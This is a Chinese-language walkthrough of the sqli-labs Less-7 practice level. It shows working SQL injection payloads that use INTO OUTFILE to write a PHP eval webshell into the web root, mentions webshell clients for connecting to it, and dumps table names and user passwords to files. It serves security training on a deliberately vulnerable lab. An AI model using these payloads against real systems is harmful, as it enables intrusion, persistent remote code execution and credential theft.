文章目录
Less-7
提示使用outfile函数,也就是要用SQL写webshell了
1、fuzz
测试发现是单引号闭合,并且不仅仅是单引号
测试后发现是单引号加两个右括号
2、order by
?id=1')) order by 3%23
3、思路一:outfile导出文件
3.1、获取数据库路径
在less7中,我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,我们可以在1-6关中注入获得数据库路径
@@datadir
返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir
我们可以推断出网站的绝对路径为 E:\phpStudy_64\phpstudy_pro\www\
3.2、读写权限测试
id=1')) and (select count(*) from mysql.user)>0 %23
返回正常则有读取权限
3.3、into outfile函数
?id=1')) union select 1,2,3 into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"
多次测试后一直写入失败,查询后得知权限过低
需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"
重启mysql后生效
E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt
是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的
上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了
3.4、写一句话木马
?id=1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.php" %23
成功写入,当然PHP源代码是看不到的
3.5、实用工具连接
使用中国蚁剑、中国菜刀、冰蝎等工具连接数据库即可
3.6、注意
由于先前已做过修改,这里显示的是可导入导出
4、思路二
4.1、导出数据库名
?id=-1')) union select 1,user(),database() into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt" %23
4.2、导出表名
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\2.txt" %23
4.3、导出列
?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\3.txt" %23
4.4、导出数据
?id=-1')) union select 1,username,password from users into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\4.txt" %23